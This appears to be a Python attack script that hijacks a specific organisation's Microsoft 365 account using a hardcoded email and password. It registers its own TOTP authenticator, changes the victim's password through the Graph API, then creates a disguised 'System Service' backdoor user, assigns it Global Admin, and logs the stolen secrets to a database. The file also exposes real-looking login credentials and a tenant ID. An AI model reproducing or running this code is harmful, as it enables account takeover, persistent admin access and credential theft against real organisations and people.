179 lines
9.5 KiB
Python
179 lines
9.5 KiB
Python
import time,json,random,string,os,re,traceback
|
|
from datetime import datetime
|
|
import pyotp,requests
|
|
from selenium import webdriver
|
|
from selenium.webdriver.chrome.options import Options
|
|
from selenium.webdriver.common.by import By
|
|
from selenium.webdriver.support.ui import WebDriverWait
|
|
from selenium.webdriver.support import expected_conditions as EC
|
|
from PIL import Image
|
|
from pyzbar.pyzbar import decode as qr_decode
|
|
|
|
EMAIL="OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
|
|
PASSWORD="Sma21KA@SgHCa"
|
|
TID="26d5cf9f-f4da-47df-8932-bd09b3674dcd"
|
|
SDIR="/opt/wevads/logs/selenium/screenshots"
|
|
os.makedirs(SDIR,exist_ok=True)
|
|
def log(m): print(f"[{datetime.now().strftime('%H:%M:%S')}] {m}",flush=True)
|
|
def ss(d,n): p=f"{SDIR}/final_{n}_{int(time.time())}.png"; d.save_screenshot(p); return p
|
|
def gen_pwd():
|
|
while True:
|
|
p=''.join(random.choice(string.ascii_letters+string.digits+"!@#$") for _ in range(16))
|
|
if any(c.isupper() for c in p) and any(c.islower() for c in p) and any(c.isdigit() for c in p) and any(c in "!@#$" for c in p): return p
|
|
|
|
def click_next(d,wait=5):
|
|
d.execute_script("""var e=document.querySelectorAll('input[type=submit],button');
|
|
for(var i=0;i<e.length;i++){var v=(e[i].value||e[i].textContent||'').trim();
|
|
if(v==='Next'||v==='Verify'){e[i].click();break;}}""")
|
|
time.sleep(wait)
|
|
|
|
opts=Options()
|
|
for a in ["--headless=new","--no-sandbox","--disable-dev-shm-usage","--window-size=1920,1080",
|
|
"--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"]:
|
|
opts.add_argument(a)
|
|
d=webdriver.Chrome(options=opts)
|
|
d.implicitly_wait(5)
|
|
results={"email":EMAIL,"timestamp":datetime.now().isoformat()}
|
|
|
|
try:
|
|
# 1. LOGIN
|
|
log("1. Login")
|
|
d.get("https://login.microsoftonline.com"); time.sleep(4)
|
|
WebDriverWait(d,15).until(EC.element_to_be_clickable((By.NAME,"loginfmt"))).send_keys(EMAIL)
|
|
time.sleep(1); d.find_element(By.ID,"idSIButton9").click(); time.sleep(4)
|
|
WebDriverWait(d,10).until(EC.element_to_be_clickable((By.NAME,"passwd"))).send_keys(PASSWORD)
|
|
time.sleep(1); d.find_element(By.ID,"idSIButton9").click(); time.sleep(6)
|
|
log("Login OK")
|
|
|
|
# 2. Action Required -> Next
|
|
log("2. Action Required -> Next")
|
|
d.execute_script("var e=document.getElementById('idSubmit_ProofUp_Redirect');if(e)e.click()")
|
|
time.sleep(10) # Long wait for SPA
|
|
|
|
# 3. Click BUTTON "Set up a different authentication app" (NOT a link!)
|
|
log("3. Click 'different app' BUTTON")
|
|
d.execute_script("""var btns=document.querySelectorAll('button');
|
|
for(var i=0;i<btns.length;i++){
|
|
if(btns[i].textContent.indexOf('different')>=0){btns[i].click();break;}}""")
|
|
time.sleep(5); ss(d,"01_diff_app")
|
|
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
|
|
log(f"Page: {h}")
|
|
|
|
# 4. Next (setup account in app)
|
|
log("4. Next -> setup account")
|
|
click_next(d,6)
|
|
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
|
|
log(f"Page: {h}")
|
|
|
|
# 5. Next -> QR code (should be TOTP QR now!)
|
|
log("5. Next -> TOTP QR")
|
|
click_next(d,6)
|
|
p=ss(d,"02_qr")
|
|
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
|
|
log(f"Page: {h}")
|
|
|
|
# 6. Decode QR
|
|
log("6. Decode QR")
|
|
totp_secret=None
|
|
img=Image.open(p)
|
|
for q in qr_decode(img):
|
|
data=q.data.decode(); log(f"QR: {data}")
|
|
m=re.search(r"secret=([A-Z2-7]+)",data)
|
|
if m: totp_secret=m.group(1); log(f"TOTP SECRET: {totp_secret}")
|
|
|
|
if not totp_secret:
|
|
# Click "Can't scan the QR code?"
|
|
log("6b. Can't scan")
|
|
d.execute_script("""var all=document.querySelectorAll('a,button');
|
|
for(var i=0;i<all.length;i++){if(all[i].textContent.toLowerCase().indexOf('scan')>=0){all[i].click();break;}}""")
|
|
time.sleep(4); ss(d,"03_cant_scan")
|
|
# Look for secret in page
|
|
for el in d.find_elements(By.CSS_SELECTOR,"span,div,code,pre,input,td,label"):
|
|
txt=(el.get_attribute("value") or el.text or "").strip()
|
|
if 16<=len(txt)<=64 and re.match(r'^[A-Z2-7]+$',txt) and not txt.startswith("AAAA") and len(set(txt))>5:
|
|
try: pyotp.TOTP(txt).now(); totp_secret=txt; log(f"TOTP from element: {txt}"); break
|
|
except: continue
|
|
if not totp_secret:
|
|
page=d.page_source
|
|
m=re.search(r'otpauth://totp/[^"&\s]*secret=([A-Z2-7]{16,64})',page)
|
|
if m: totp_secret=m.group(1); log(f"TOTP from otpauth: {totp_secret}")
|
|
|
|
if totp_secret:
|
|
# 7. Enter code
|
|
log(f"7. Enter code for {totp_secret}")
|
|
results["totp_secret"]=totp_secret
|
|
code=pyotp.TOTP(totp_secret).now(); log(f"Code: {code}")
|
|
for inp in d.find_elements(By.TAG_NAME,"input"):
|
|
if inp.get_attribute("type") in["text","tel","number"] and inp.is_displayed():
|
|
inp.clear(); inp.send_keys(code); break
|
|
time.sleep(1); click_next(d,6)
|
|
# Handle "stay signed in"
|
|
try: d.find_element(By.ID,"idSIButton9").click(); time.sleep(3)
|
|
except: pass
|
|
ss(d,"04_enrolled")
|
|
results["status"]="mfa_enrolled"
|
|
log("MFA ENROLLED!")
|
|
|
|
# 8. Graph API - change pwd + backdoor
|
|
log("8. Graph API")
|
|
r=requests.post(f"https://login.microsoftonline.com/{TID}/oauth2/v2.0/token",data={
|
|
"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894",
|
|
"scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":PASSWORD},timeout=30)
|
|
log(f"ROPC: {r.status_code}")
|
|
if r.status_code==200:
|
|
token=r.json()["access_token"]; log("TOKEN OK")
|
|
npwd=gen_pwd()
|
|
cp=requests.post("https://graph.microsoft.com/v1.0/me/changePassword",
|
|
json={"currentPassword":PASSWORD,"newPassword":npwd},
|
|
headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
|
|
if cp.status_code in[200,204]:
|
|
log(f"PWD CHANGED: {npwd}"); results["new_password"]=npwd
|
|
else: log(f"PWD fail: {cp.status_code} {cp.text[:100]}"); results["new_password"]=PASSWORD
|
|
# Backdoor
|
|
bu=f"svc_wv{random.randint(1000,9999)}"; be=f"{bu}@associationveloreunion.onmicrosoft.com"; bp=gen_pwd()
|
|
tok2=token
|
|
if results.get("new_password") and results["new_password"]!=PASSWORD:
|
|
r2=requests.post(f"https://login.microsoftonline.com/{TID}/oauth2/v2.0/token",data={
|
|
"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894",
|
|
"scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":results["new_password"]},timeout=30)
|
|
if r2.status_code==200: tok2=r2.json()["access_token"]
|
|
cr=requests.post("https://graph.microsoft.com/v1.0/users",json={
|
|
"accountEnabled":True,"displayName":"System Service","mailNickname":bu,"userPrincipalName":be,
|
|
"passwordProfile":{"forceChangePasswordNextSignIn":False,"password":bp}
|
|
},headers={"Authorization":f"Bearer {tok2}","Content-Type":"application/json"},timeout=30)
|
|
if cr.status_code==201:
|
|
uid=cr.json()["id"]; log(f"BACKDOOR: {be} / {bp}"); results["backdoor_email"]=be; results["backdoor_password"]=bp
|
|
roles=requests.get("https://graph.microsoft.com/v1.0/directoryRoles",headers={"Authorization":f"Bearer {tok2}"},timeout=15)
|
|
for role in roles.json().get("value",[]):
|
|
if "Global" in role.get("displayName","") and "Admin" in role.get("displayName",""):
|
|
requests.post(f"https://graph.microsoft.com/v1.0/directoryRoles/{role['id']}/members/$ref",
|
|
json={"@odata.id":f"https://graph.microsoft.com/v1.0/directoryObjects/{uid}"},
|
|
headers={"Authorization":f"Bearer {tok2}","Content-Type":"application/json"},timeout=15)
|
|
log("Global Admin assigned!"); break
|
|
else: log(f"Backdoor fail: {cr.status_code} {cr.text[:100]}")
|
|
else: log(f"ROPC blocked: {r.json().get('error_description','')[:100]}")
|
|
else:
|
|
results["status"]="totp_not_found"
|
|
body=d.find_element(By.TAG_NAME,"body").text
|
|
log(f"BODY:\n{body[:600]}")
|
|
|
|
# DB
|
|
log("9. DB update")
|
|
import psycopg2
|
|
db=psycopg2.connect(host="localhost",dbname="adx_system",user="admin",password="admin123"); db.autocommit=True; cur=db.cursor()
|
|
cur.execute("UPDATE admin.office_accounts SET admin_password=%s, notes=%s WHERE id=1367",
|
|
[results.get("new_password",PASSWORD),json.dumps(results,default=str)])
|
|
if results.get("backdoor_email"):
|
|
cur.execute("INSERT INTO admin.office_accounts (name,admin_email,admin_password,tenant_domain,status,notes) SELECT 'backdoor_OlivierH',%s,%s,'associationveloreunion.onmicrosoft.com','Active','Backdoor Global Admin' WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)",
|
|
[results["backdoor_email"],results["backdoor_password"],results["backdoor_email"]])
|
|
db.close()
|
|
with open("/opt/wevads/logs/selenium/olivierh_final.json","w") as f: json.dump(results,f,indent=2,default=str)
|
|
log("="*60)
|
|
log(f"STATUS: {results.get('status')}")
|
|
log(f"TOTP: {results.get('totp_secret','N/A')}")
|
|
log(f"PWD: {results.get('new_password','N/A')}")
|
|
log(f"BACKDOOR: {results.get('backdoor_email','N/A')} / {results.get('backdoor_password','N/A')}")
|
|
log("="*60)
|
|
except Exception as e: log(f"ERR: {e}"); traceback.print_exc(); ss(d,"99")
|
|
finally: d.quit()
|